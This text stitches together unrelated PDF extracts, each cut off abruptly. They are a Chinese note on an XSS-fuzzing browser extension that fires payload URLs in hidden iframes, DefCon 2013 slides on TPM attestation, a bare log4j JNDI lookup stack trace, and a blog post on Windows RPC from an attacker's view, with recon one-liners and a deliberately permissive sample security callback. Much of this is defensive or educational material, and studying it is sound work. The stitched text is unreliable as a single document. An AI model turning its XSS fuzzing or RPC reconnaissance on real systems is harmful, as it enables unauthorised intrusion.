xsssnpier的代码如下
window.addEventListener('error', function(e) {
if (top == this) {
window['vultest_frameerr'] = "";
console.log("self_err_report:"+e.message);
Fuzz
通过对 ? 、 # 进⾏分割取值,组合⼀个新的url,最后调⽤⼀个函数 xss_testfrm
//top.err_self(e);
window['vultest_selferr'] = "";
window['vultest_selferr'] = window['vultest_selferr'] + "|" +e.message;
}
else {
//top.err_report(e,location.href);
if (!window['vultest_frameerr'])
window['vultest_frameerr'] = "";
window['vultest_frameerr'] = window['vultest_frameerr']+"|"+e.message;
//console.log("frame_err_report:"+ window['vultest_frameerr']);
}
});
xss_testfrm是通过创建⼀个隐藏iframe来执⾏payload。如果使⽤的是alert函数的payload话,成功执⾏会⾃动弹
窗。
最后
因为插件⽆法运⾏了,不知道是它是怎么确定是否存在xss漏洞的,可能出现漏洞窗⼝就⾃动弹个窗?
可以提前对⼀些payload函数hook来监视成功的情况。插件通过监控error来半⾃动审计的⽅案也值得学习⼀下,
fuzz的话有针对性的⽐较好,盲⽬的fuzz成效不⼤,可以先发⼀个探测的⽆害payload,知道payload回显的位置
后再针对性进⾏fuzz。
参考
https://lorexxar.cn/2019/11/22/chrome-ext-1/
function xss_testfrm(s){
try {
var xss_frm = document.createElement("iframe");
document.body.appendChild(xss_frm);
xss_frm.style.display="none";
xss_frm.id = unescape(s);
xss_frm.src = s;
}catch(e) {
console.log(e);
}
} | pdf |
Protecting Data with Short-
Lived Encryption Keys and
Hardware Root of Trust
Dan Griffin
DefCon 2013
What does the NSA think?
• The NSA has been public about:
– The inevitability of mobile computing
– The need to support cloud-based services
– Even for use with secret data in the field
• General Alexander, head of the NSA,
recently spoke of using smartphones as ID
cards on classified networks.
• What works for them can work for you
Introduction
• Mobile devices are everywhere and leak
like a sieve
• But we know that there are more and more
of them every day
• So now do we stop the impending
implosion?
Current Technology Landscape
• Why are mobile devices less secure
– Too hard to enter secure passwords by thumb
– Current antimalware is not up to the task
– Some are owned by user (ByoD to work)
• But Mobile devices are (nearly) all ARM
– Which supports Trusted Platform Module 2.0
– Some new ones are on Intel Atom with TPM 2.0
– So what’s holding them back from being secure
What is needed to be secure?
• Must measure the current state of the mobile device
– TPM, measured boot, remote attestation
– ARM TZ, SOC
– Send bootlogs to the RAS
– What measurements can we use?
– Firmware hash, time, etc.
• Create a statement of health (claim) signed by RAS
– Send to mobile device
– So mobile devices can prove it is healthy
How to use the Health Claim
• The Device can use the health claim
– To send to service to prove status
– To unlock data protected on the device
• If the Device is measured to be insecure
– Go to remediation
– This is nothing new
• works just like NAP today
Remote Attestation Service (RAS)
• Needs secure data from manufacturer
• Only ELAM is protected by TPM
– State of ELAM in Windows *
• Still need traditional AM
– Checks user mode code
– Even that AM code is verified by the ELAM
• How does the content provider trust the RAS
– Registration Authority
How does the RAS trust the Device?
TPM
BIOS
Boot
Loader
Kernel
Early
Drivers
Hash of next item(s)
Boot Log
[PCR data]
[AIK pub]
[Signature]
Is TPM/RAS really secure?
• Hardware root of trust secured within the TPM
– Technical detail – firmware used by TPM 2.0
• PCRs are accumulated in secure location
• Send PCRs + boot log to RAS signed by TPM
• Secure time (actually just a boot counter)
– How secure time works
– What advantage does that give us?
DEMO of proof-of-concept code
– This has already be proven at RSA
– And several 3 letter agencies
– So, yes Virginia, there is a Santa Claus
The threat model
Policy-Enforced File Access
• BYOD
• Download sensitive files from document
repository
• Leave laptop in back of taxi
What remains to be done
• Collecting signatures
– from all BIOS and Early Launch code
• Heuristics to determine if new code should
be provisionally trusted
• What the consumerization trend means for
hackers
• Opportunities in this space
Supporting Files
• http://fedscoop.com/gen-alexander-cloud-
key-to-network-security/
• Endpoint Security and Trusted Boot
http://archive.constantcontact.com/fs007/1
103180583929/archive/1110463148845.ht
ml
• Hacking Measured Boot and UEFI at
DefCon 20
Speaker Bio
• Dan is the founder of JW Secure and is a Microsoft
Enterprise Security MVP. He previously spent seven
years working on smart cards and cryptography for
Microsoft while on the Windows Security development
team. He has published several articles on security
software development, as well as on IT security, and is a
frequent conference speaker.
• Dan holds a Master’s degree in Computer Science from
the University of Washington and a Bachelor’s degree in
Computer Science from Indiana University. | pdf |
调用栈
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer
(org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender
(org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender
(org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender
(org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl
(org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:6, main | pdf |
Offensive Windows IPC Internals 2: RPC
Contents:
The Series
Introduction
History
RPC Messaging
RPC Protocol Sequence
RPC Interfaces
RPC Binding
Anonymous & Authenticated Bindings
Registration Flags
Security Callbacks
Authenticated Bindings
Well-known vs Dynamic Endpoints
RPC Communication Flow
Sample Implementation
Access Matrix
Attack Surface
Finding Interesting Targets
RPC Servers
RPC Clients
Unauthorized Access
Client Impersonation
Server Non-Impersonation
MITM Authenticated NTLM Connections
MITM Authenticated GSS_NEGOTIATE Connections
References
The Series
This is part 2 of my series: Offensive Windows IPC Internals.
If you missed part one and want to take a look, you’ll find it here: Offensive Windows IPC Internals
1: Named Pipes.
Part 2 was originally planned to be about LPC & ALPC, but as it turns out it’s quite time consuming
to dig out all the undocumented bits and tricks about these technologies. Therefore i made the
discussion to publish my knowledge about RPC first before turning my head towards ALPC once
again.
The reason why i originally planed to publish LPC & ALPC before RPC is because RPC uses ALPC
under the hood when used locally and even more: RPC is the intended solution for fast local inter
process communication as RPC can be instructed to process local communication via a special
ALPC protocol sequence (but you’ll find that out while reading on).
Anyhow, the lesson here is (i guess) that sometimes its better to pause on a thing and get your
head cleared up and make progress with something else before you get lost in something that is
just not ready to reveal its mysteries to you.
Get a coffee and a comfy chair and buckle up for RPC…
Introduction
Remote Procedure Calls (RPC) is a technology to enable data communication between a client and
a server across process and machine boundaries (network communication). Therefore RPC is an
Inter Process Communication (IPC) technology. Other technologies in this category are for
example LPC, ALPC or Named Pipes.
As the name and this category implies RPC is used to make calls to remote servers to
exchange/deliver data or to trigger a remote routine. The term “remote” in this case does not
describe a requirement for the communication. An RPC server does not has to be on a remote
machine, and in theory does not even has to be in a different process (although this would make
sense).
In theory you could implement a RPC server & client in DLLs, load them into the same process
and exchange messages, but you wouldn’t gain much as the messages would still be routed
through other components outside of your process (such as the kernel, but more on this later)
and you would try to make use of an “Inter” Process Communication technology for “Intra”
Process Communication.
Moreover a RPC server does not need to be on a remote machine, but could as well be called
from a local client.
Within this blog post you can join me in discovering the insides of RPC, how it works & operates
and how to implement and attack RPC clients and servers.
This post is is made from an offensive view point and tries to cover the most relevant aspects the
attack surface of RPC from an attackers perspective. A more defensive geared view on RPC can for
example be found at https://ipc-research.readthedocs.io/en/latest/subpages/RPC.html by
Jonathan Johnson
The below post will contain some references to code from my sample implementations, all of this
code can be found here:
https://github.com/csandker/InterProcessCommunication-Samples/tree/master/RPC/CPP-RPC-Cli
ent-Server
History
Microsoft’s RPC implementation is based on the RPC implementation of the Distributed
Computing Environment (DCE) standard developed by the Open Software Foundation (OSF) in
1993.
“One of the key companies that contributed [to the DCE implementation] was Apollo
Computer, who brought in NCA – ‘Network Computing Architecture’ which became Network
Computing System (NCS) and then a major part of DCE/RPC itself”
Source: https://kganugapati.wordpress.com/tag/msrpc/
Microsoft hired Paul Leach (in 1991), one of the founding Engineers of Apollo, which might be how
RPC came into Windows.
Microsoft adjusted the DCE model to fit their programming scheme, based the communication
of RPC on Named Pipes and brought their implementation to daylight in Windows 95.
Back in the days you could have wondered why they based the communication on Named Pipes,
because Microsoft just came up with a new technology called Local Procedure Call (LPC) in 1994
and it sounds like it would have made sense to base a technology called Remote Procedure Call
on something called Local Procedure call, right?… Well yes LPC would have been the logical choice
(and I would guess they initially went with LPC), but LPC had a crucial flaw: It didn’t support (and
still doesn’t) asynchronous calls (more on this when i finally finish my LPC/ALPC post…), which is
why Microsoft based it on Named Pipes.
As we’ll see in a moment (section RPC Protocol Sequence) when implementing routines with RPC
the developer needs to tell the RPC library what ‘protocol’ to use for transportation. The original
DCE/RCP standard already had defined ‘ncacn_ip_tcp’ and ‘ncadg_ip_udp’ for TCP and UDP
connections. Microsoft added ‘ncacn_np’ for their implementation based on Named Pipes
(transported through the SMB protocol).
RPC Messaging
RPC is a client-server technology with messaging architecture similar to COM (Component Object
Model), which on a high level consists of the following three components:
A server & client process that are responsible for registering an RPC interface and associated
binding information (more on this later on)
Server & client stubs that are responsible for marshalling incoming and outgoing data
The server’s & client’s RPC runtime library (rpcrt4.dll), which takes the stub data and sends
them over the wire using the specified protocol (examples and details will follow)
A visual overview of this message architecture can be found at https://docs.microsoft.com/en-us/
windows/win32/rpc/how-rpc-works as shown below:
Later on, in section RPC Communication Flow, i will provide an overview of the steps involved
from creating an RPC server to sending a message, but before we can dive into that we need to
clarify a few RPC terminology bits.
Bare with me here while we dig into the insides of RPC. The following things are essential to know
in order to to get along with RPC.
If you get lost in new terms and API calls that you just can’t get in line you can always jump ahead
to the RPC Communication Flow section to get an idea of where these thing belong in the
communication chain.
Constant/Value
Description
ncacn_ip_tcp
Connection-oriented Transmission Control Protocol/Internet Protocol
(TCP/IP)
ncacn_http
Connection-oriented TCP/IP using Microsoft Internet Information Server
as HTTP proxy
ncacn_np
Connection-oriented named pipes (via SMB.)
ncadg_ip_udp
Datagram (connectionless) User Datagram Protocol/Internet Protocol
(UDP/IP)
ncalrpc
Local Procedure Calls (post Windows Vista via ALPC)
RPC Protocol Sequence
The RPC Protocol Sequence is a constant string that defines which protocol the RPC runtime
should use to transfer messages.
This string defines which RPC protocol, transport and network protocol should be used.
Microsoft supports the following three RPC protocols:
Network Computing Architecture connection-oriented protocol (NCACN)
Network Computing Architecture datagram protocol (NCADG)
Network Computing Architecture local remote procedure call (NCALRPC)
In most scenarios where a connection is made across system boundaries you will find NCACN,
whereas NCALRPC is recommended for local RPC communication.
The protocol sequence is a defined constant string assembled from the above parts, e.g.
ncacn_ip_tcp for a connection-oriented communication based on TCP packets.
The full list of RPC protocol sequence constants can be found at: https://docs.microsoft.com/en-u
s/windows/win32/rpc/protocol-sequence-constants.
The most relevant protocol sequences are shown below:
RPC Interfaces
In order to establish a communication channel the RPC runtime needs to know what methods
(aka. “functions”) and parameters your server offers and what data your client is sending. These
information are defined in a so called “Interface”.
Side note: If you’re familiar with interfaces in COM, this is the same thing.
To get an idea of how an interface could be defined, let’s take this example from my Sample Code:
Interface1.idl
[
// UUID: A unique identifier that distinguishes this
// interface from other interfaces.
uuid(9510b60a-2eac-43fc-8077-aaefbdf3752b),
// This is version 1.0 of this interface.
version(1.0),
The first thing to note is that interfaces are defined in an Interface Definition Language (IDL) file.
The definitions in this will later on be compiled by the Microsoft IDL compiler (midl.exe) into
header and source code files that can be used by the server and client.
The interface header is rather self explanatory with the given comments - ignore the
implicit_handle instruction for now, we get into implicit and explicit handles shortly.
The body of the interface describes the methods that this interfaces exposes, their return values
and their parameters. The [in, string] statement within parameter definition of the Output
function is not mandatory but aids the understanding of what this parameter is used for.
Side note: You could also specify various interface attributes in an Application Configuration File
(ACF). Some of these such as the type of binding (explicit vs. implicit) can be placed in the IDL file,
but for more complex interfaces you might want to add an extra ACF file per interface.
RPC Binding
Once your client connects to an RPC server (we’ll get into how this is done later on) you create
what Microsoft calls a “Binding”. Or to put it with Microsoft’s words:
Binding is the process of creating a logical connection between a client program and a
server program. The information that composes the binding between client and server is
represented by a structure called a binding handle.
The terminology of binding handles gets clearer once we put some context on it. Technically
there three types of binding handles:
Implicit
Explicit
Automatic
Side note: You could implement custom binding handles as described in here, but we ignore this
for this post, as this is rather uncommon and you’re good with the default types.
Implicit binding handles allow your client to connect to and communicate with a specific RPC
server (specified by the UUID in the IDL file). The downside is implicit bindings are not thread safe,
multi-threaded applications should therefore use explicit bindings. Implicit binding handles are
defined in the IDL file as shown in the sample IDL code above or in my Sample Implicit Interface.
Explicit binding handles allow your client to connect to and communicate with multiple RPC
servers. Explicit binding handles are recommended to use due to being thread safe and allow for
multiple connections. An example of an explicit binding handle definition can be found in my code
here.
// Using an implicit handle here named hImplicitBinding:
implicit_handle(handle_t hImplicitBinding)
]
interface Example1 // The interface is named Example1
{
// A function that takes a zero-terminated string.
int Output(
[in, string] const char* pszOutput);
void Shutdown();
}
Automatic binding is a solution in between for the lazy developer, who doesn’t want to fiddle
around with binding handles and let the RPC runtime figure out what is needed. My
recommendation would be to use explicit handles just to be aware of what you’re doing.
Why do i need binding handles in the first place you might ask at this point.
Imagine a binding handle as a representation of your communication channel between client and
server, just like the cord in a can phone (i wonder how many people know these ‘devices’…). Given
that you have a representation of the communication chanel (‘the cord’) you can add attributes to
this communication channel, like painting your cord to make it more unique.
Just like that binding handles allow you for example to secure the connection between your client
and server (because you got something that you can add security to) and therefore form what
Microsoft terms “authenticated” bindings.
Anonymous & Authenticated Bindings
Let’s say you’ve got a plain and simple RPC server running, now a client connects to your server. If
you didn’t specify anything expect the bare minimum (which i will list shortly), this connection
between client and server is referred to as anonymous or unauthenticated binding, due to the
fact that your server got no clue who connected to it.
To avoid any client from connecting and to level up the security of your server there are three
gears you can turn:
You can set registration flags when registering your server interface; And/Or
You can set a Security callback with a custom routine to check whether a requesting client
should be allowed or denied; And/Or
You can set authentication information associated with your binding handle to specify a
security service provider and an SPN to represent your RPC server.
Let’s look at those three gears step-by-step.
Registration Flags
First of all when you create your server you need to register your interface, for example with a call
to RpcServerRegisterIf2 - I’ll show you where this call comes into play in section RPC
Communication Flow. As a fourth parameter to RpcServerRegisterIf2 you can specify Interface
Registration Flags, such as RPC_IF_ALLOW_LOCAL_ONLY to only allow local connections.
Side note: Read this as RPC_InterFace_ALLOW_LOCAL_ONLY
A sample call could look like this:
RPC_STATUS rpcStatus = RpcServerRegisterIf2(
Example1_v1_0_s_ifspec, // Interface to register.
NULL, // NULL type UUID
NULL, // Use the MIDL generated entry-point
vector.
RPC_IF_ALLOW_LOCAL_ONLY, // Only allow local connections
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
(unsigned)-1, // Infinite max size of incoming data
blocks.
NULL // No security callback.
);
Security Callbacks
Next on the list is the security callback, which you could set as the last parameter of the above
call. An always-allow callback could look like this:
To include this Security callback simply set the last parameter of the RpcServerRegisterIf2 function
to the name of your security callback function, which in this case is just named “SecurityCallback”,
as shown below:
This callback function can be implemented in any way you like, you could for example allow/deny
connections based on IPs.
Authenticated Bindings
Alright we’re getting closer to the end of the RPC terminology and background section… Stay with
me while we dig into the last concepts.
As I can feel the pain to follow up for people who are new to all these terms, let’s take a moment
to recap:
Okay so far you should know that you can create implicit and explicit interfaces and use a few
Windows API calls to setup your RPC server. In the previous section I’ve added that once you
register your server you can set registration flags and (if you want to) also a callback function to
secure you server and filter the clients who can access your server. The last piece in the puzzle is
now an extra Windows API that allows the server and client to authenticate your binding
(remember that one of the benefits of having a binding handle is that you can authenticate your
binding, like ‘painting your cord for your can phone’).
… But why would/should you do that?
Authenticated Bindings in combination with the right registration flag
(RPC_IF_ALLOW_SECURE_ONLY) enables your RPC Server to ensure that only authenticated
users can connect; And - in case the client allows it - enables the server to figure out who
connected to it by impersonating the client.
// Naive security callback.
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE hInterface, void*
pBindingHandle)
{
return RPC_S_OK; // Always allow anyone.
}
RPC_STATUS rpcStatus = RpcServerRegisterIf2(
Example1_v1_0_s_ifspec, // Interface to register.
NULL, // Use the MIDL generated entry-point
vector.
NULL, // Use the MIDL generated entry-point
vector.
RPC_IF_ALLOW_LOCAL_ONLY, // Only allow local connections
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
(unsigned)-1, // Infinite max size of incoming data
blocks.
SecurityCallback // No security callback.
);
To backup what you learned before: You could as well use the SecurityCallback to deny any
anonymous client from connecting, but you would need to implement the filter mechanism on
your own, based on attributes you control.
Example: You wouldn’t be able to determine if the client is for example a valid domain user,
because you don’t have any access to these account information.
Okay so how do you specify an authenticated binding?
You can authenticate your binding on the server and on the client side. On the server side you
want to implement this to ensure a secured connection and on the client side you might need to
have this in order to be able to connect to your server (as we’ll see shortly in the Access Matrix)
Authenticating the binding on the Server side: [Taken from my example code here]
Authenticating the binding on the client side: [Taken from my example code here]
The interesting bit on the client side is that you can set a Quality of Service (QOS) structure with
your authenticated binding handle. This QOS structure can for example be used on the client side
to determine the Impersonation Level (for background information check out my previous IPC
post ), which we’ll later cover in section Client Impersonation.
Important to note:
Setting an authenticated binding on the server side, does not enforce an authentication on
the client side.
If for example no flags are set on the server side or only the
RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH is set, unauthenticated clients can still connect to the
RPC server.
Setting the RPC_IF_ALLOW_SECURE_ONLY flag however prevents unauthenticated client bindings,
because the client can’t set an authentication level (which is what is checked with this flag) without
creating an authenticated binding.
RPC_STATUS rpcStatus = RpcServerRegisterAuthInfo(
pszSpn, // Server principal name
RPC_C_AUTHN_WINNT, // using NTLM as authentication service provider
NULL, // Use default key function, which is ignored for NTLM
SSP
NULL // No arg for key function
);
RPC_STATUS status = RpcBindingSetAuthInfoEx(
hExplicitBinding, // the client's binding handle
pszHostSPN, // the server's service principale name (SPN)
RPC_C_AUTHN_LEVEL_PKT, // authentication level PKT
RPC_C_AUTHN_WINNT, // using NTLM as authentication service provider
NULL, // use current thread credentials
RPC_C_AUTHZ_NAME, // authorization based on the provided SPN
&secQos // Quality of Service structure
);
Well-known vs Dynamic Endpoints
Last but not least we have to clarify one last important aspect of RPC communication: Well-known
vs Dynamic endpoints.
I’ll try to make this one short as it’s also quite easy to understand…
When you spin up your RPC server, the server registers an interface (as we’ve seen already in the
code sample above with RpcServerRegisterIf2) and it also needs to define on which protocol
sequence (e.g. ‘ncacn_ip_tcp’, ‘ncacn_np’, …) it wants to listen to.
Now the protocol sequence string that you specify in your server is not quite enough to open a
RPC port connection. Imagine you specify ‘ncacn_ip_tcp’ as your protocol sequence, meaning you
instruct your server to open up an RPC connection that accepts connections via TCP/IP… but … on
which TCP port should the server actually open up a connection?
Similar to ncacn_ip_tcp other protocol sequences also need a little more information about where
to open a connection object:
ncacn_ip_tcp needs a TCP port number, e.g. 9999
ncacn_np needs a Named Pipe name, e .g. “\pipe\FRPC-NP”
ncalrpc needs an ALPC port name, e.g. “\RPC Control\FRPC-LRPC”
Let’s assume for a moment you specified ncacn_np as the protocol sequence and chose the
Named Pipe name to be “\pipe\FRPC-NP”.
Your RPC server will happily spin up and is now waiting for clients to connect. The client on the
other hand needs to know where it should connect to. You tell your client the server’s name,
specify the protocol sequence to be ncacn_np and set the Named Pipe name to the same name
you defined in your server (“\pipe\FRPC-NP”). The client connects successfully and just like that
you’ve built a RPC client and server based on a Well-known endpoint… which in this case is:
“\pipe\FRPC-NP”.
Using Well-known RPC endpoints just means you know all the binding information (protocol
sequence and endpoint-address) upfront and could - if you want to - also hardcode those
information in your client and server. Using Well-known endpoints is the easiest way to build up
your first RPC client/server connection.
What are Dynamic endpoints then and why should one use them?
In the example above we choose ncacn_np and just picked any arbitrary Named Pipe name to
open our server and that worked just fine, because we knew (well at least we hoped) the Named
Pipe that we’ve opened up with this name didn’t already exist on the server side, because we just
made a name up. If we now choose ncacn_ip_tcp to be the protocol sequence how do we know
which TCP port is still available for us? Well we could just specify that our program needs port
9999 to be functional and leave it to the Admins to ensure that this port is unused, but we could
also ask Windows to assign us a port that is free. And that is what Dynamic endpoints are. Easy
… case closed, let’s go for beers
Wait a minute: If we get assigned a port dynamically, how does the client know where to connect
to ?!…
And that is the other thing with Dynamic endpoints: If you chose dynamic endpoints you need
someone to tell your client what port you got and that someone is the RPC Endpoint Mapper
service (started and running by default on your Windows system). If your server is using Dynamic
Endpoints it will need to call the RPC Endpoint Mapper to tell it to register its Interface and
functions (specified in the IDL file). Once the client attempts to create the binding it will query the
server’s RPC Endpoint Mapper for matching interfaces and the Endpoint Mapper will fill in the
missing information (e.g. the TCP port) to create the binding.
The main advantage of Dynamic Endpoints is to automatically find an available endpoint-
address when the endpoint-address space is limited, as it is the case with TCP ports. Named Pipes
and ALPC based connections can also safely be done with Well-known endpoints, because the
address space (aka. the arbitrary pipe or port name that you’ve chosen) is large enough to avoid
collisions.
We’ll wrap this up with code snippets from the server side to nail our understanding of Well-
known and Dynamic endpoints.
Well-Known Endpoint Implementation
Dynamic Endpoint Implementation
RPC_STATUS rpcStatus;
// Create Binding Information
rpcStatus = RpcServerUseProtseqEp(
(RPC_WSTR)L"ncacn_np", // using Named Pipes here
RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Ignored for Named Pipes (only used for
ncacn_ip_tcp, but set this anyway)
(RPC_WSTR)L"\\pipe\\FRPC-NP", // example Named Pipe name
NULL // No Secuirty Descriptor
);
// Register Interface
rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples above
// OPTIONAL: Register Authentication Information
rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above
// Listen for incoming client connections
rpcStatus = RpcServerListen(
1, // Recommended minimum number of threads.
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of threads.
FALSE // Start listening now.
);
RPC_STATUS rpcStatus;
RPC_BINDING_VECTOR* pbindingVector = 0;
// Create Binding Information
rpcStatus = RpcServerUseProtseq(
(RPC_WSTR)L"ncacn_ip_tcp", // using Named Pipes here
RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for the ncacn_ip_tcp
protocol sequenc
NULL // No Secuirty Descriptor
);
// Register Interface
rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples above
// OPTIONAL: Register Authentication Information
rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above
// Get Binding vectors (dynamically assigend)
rpcStatus = RpcServerInqBindings(&pbindingVector);
// Register with RPC Endpoint Mapper
rpcStatus = RpcEpRegister(
Example1_v1_0_s_ifspec, // your interface as defined via IDL
pbindingVector, // your dynamic binding vectors
0, // We don't want to register the vectors
with UUIDs
Note: If you’re using Well-known endpoints you could as well register your RPC server with your
local RPC Endpoint Mapper by calling RpcServerInqBindings & RpcEpRegister if you want to. You
don’t need to do that for your client to be able to connect, but you could.
If you want to read more on this, the Microsoft documentation on this topic can be found here:
https://docs.microsoft.com/en-us/windows/win32/rpc/specifying-endpoints
RPC Communication Flow
To wrap up all of the above, the communication flow can be summarized as follows:
1. Server registers Interface(s), e.g. using RpcServerRegisterIf2
2. Server creates Binding Information using RpcServerUseProtseq & RpcServerInqBindings
(RpcServerInqBindings is optional for Well-known Endpoints)
3. Server registers Endpoints using RpcEpRegister (optional for Well-known Endpoints)
4. Server can register Authentication Information using RpcServerRegisterAuthInfo (optional)
5. Server listens for client connection(s) using RpcServerListen
6. Client creates a Binding Handle, using RpcStringBindingCompose &
RpcBindingFromStringBinding
7. Client RPC runtime library finds the server process by querying the Endpoint Mapper on the
server host system (only necessary for Dynamic Endpoints)
8. Client can authenticate binding handle using RpcBindingSetAuthInfo (optional)
9. Client makes an RPC call by calling one of the functions defined in the used interface
10. Client RPC runtime library marshals the arguments in an NDR format with the help of the
NDR runtime and send them to the server,
11. The Server’s RPC run time library gives the marshaled arguments to the stub, which
unmarshals them, and then passes them to the server routines.
12. When the Server routines return, the stub picks up the [out] and [in, out] parameters
(defined in the interface IDL file) and the return value, marshals them, and sends the
marshaled data to the Server’s RPC run time library, which transfers them back to the client.
(RPC_WSTR)L"MyDyamicEndpointServer" // Annotation used for information
purposes only, max 64 characters
);
// Listen for incoming client connections
rpcStatus = RpcServerListen(
1, // Recommended minimum number of threads.
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of threads.
FALSE // Start listening now.
);
Sample Implementation
As mentioned in the beginning the examples above are taken from my sample implementation,
publicly available at:
https://github.com/csandker/InterProcessCommunication-Samples/tree/master/RPC/CPP-RPC-Cli
ent-Server.
In this repo you will find the following sample implementations:
Basic unauthenticated Server supporting unauthenticated Implicit Bindings
Basic unauthenticated Client supporting unauthenticated Implicit Bindings
Basic Server supporting unauthenticated Explicit Bindings
Basic Server supporting authenticated Explicit Bindings
Basic Client supporting authenticated Explicit Bindings without QOS
Basic Client supporting authenticated Explicit Bindings with QOS
An example how these PoCs look can be seen below:
Access Matrix
Alright if you understood all of the terminology above, here’s the access matrix that visualizes
which client can connect to which server.
Note: You can only connect an implicit clients to implicit servers, and explicit clients to explicit servers.
Otherwise you get an Error 1717 (RPC_S_UNKNOWN_IF)
Attack Surface
Finally… after all that talk about RPC internals, let’s talk about RPC’s attack surface.
Obviously there could be bugs and 0-days anywhere in the RPC communication chain, which
always comes down to a case-by-case analysis to understand its exploit potentials, but there is
also some exploitation potential of general RPC design concepts, which I’ll highlight below.
Side note: If you are aware of interesting RPC CVEs, ping me at */0xcsandker*
Finding Interesting Targets
Okay so before we can think what offensive games we can play with RPC, we need to find suitable
targets first.
Let’s dive into how we can find RPC Servers and clients on your systems.
RPC Servers
To recap a server is built by specify the required information (protocol sequence & endpoint-
address) and calling Windows APIs to built the necessary internal objects and start the server.
With that in mind the easiest way to find RPC servers on your local system is by looking for
programs that import those RPC Windows APIs.
One easy way to do that is by using the DumpBin utility that nowadays ships with Visual Studio.
A sample Powershell snippet searching through C:\Windows\System32\ on a recent Windows10
can be found below:
This snippet prints the names of the executables to console and the entire DumpBin output to the
file EXEs_RpcServerListen.txt (so that you can review what DumpBin actually gives you).
Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -ErrorAction
SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio
14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.VersionInfo.FileName); If($out -
like "*RpcServerListen*"){ Write-Host "[+] Exe starting RPC Server:
$($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n
$($out|%{"$_`n"})" | Out-File -FilePath EXEs_RpcServerListen.txt -Append } }
Another way to find interesting RPC servers is by querying the RPC Endpoint Mapper, either
locally or on any remote system.
Microsoft has a test utility called PortQry to do that (there is also a GUI version of that tool
available) that you can use like this: C:\PortQryV2\PortQry.exe -n <HostName> -e 135
This tool gives you some information about remote RPC interfaces that the Endpoint Mapper
knows about (remember that Well-known Endpoints do not have to inform the Endpoint Mapper
about their interfaces).
Another option is to query the Endpoint Manager directly by calling RpcMgmtEpEltInqBegin and
iterating over the interfaces via RpcMgmtEpEltInqNext. A sample implementation, named
RPCDump, of this approach was included in Chris McNab’s amazing book ‘Network Security
Assessment’, O’Reilly published the tool written in C here (according to the comment annotation
credits for this code should go to Todd Sabin).
I have ported this cool tool to VC++ and made some slight usability changes. I’ve published my
fork at https://github.com/csandker/RPCDump.
As shown this tool also list the interfaces of the found RPC endpoints, along with some other
information. I won’t go into the details of all these fields, but if you’re interested check out the
code and read along the Windows API documentation. The stats for example are retrieved by a
call to RpcMgmtInqStats, where the values returned are referenced in the Remarks section.
Once again remember that there are only the RPC interfaces that are registered with the target’s
Endpoint Mapper.
RPC Clients
Finding clients that connect to remote or local RPC servers might also be an interesting target.
There is no single authority that is aware of which RPC clients are currently running, therefore
you’re down to two options for finding clients:
Finding executables/Processes that use client RPC APIs; Or
Caught clients in the act
Finding local executables that import client RPC API is analogous to what we already did to find
servers with DumpBin. A good Windows API to look for is RpcStringBindingCompose:
Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -ErrorAction
SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio
14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.VersionInfo.FileName); If($out -
like "*RpcStringBindingCompose*"){ Write-Host "[+] Exe creates RPC Binding
(potential RPC Client) : $($_.VersionInfo.FileName)"; Write-Output "[+]
$($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath
EXEs_RpcClients.txt -Append } }
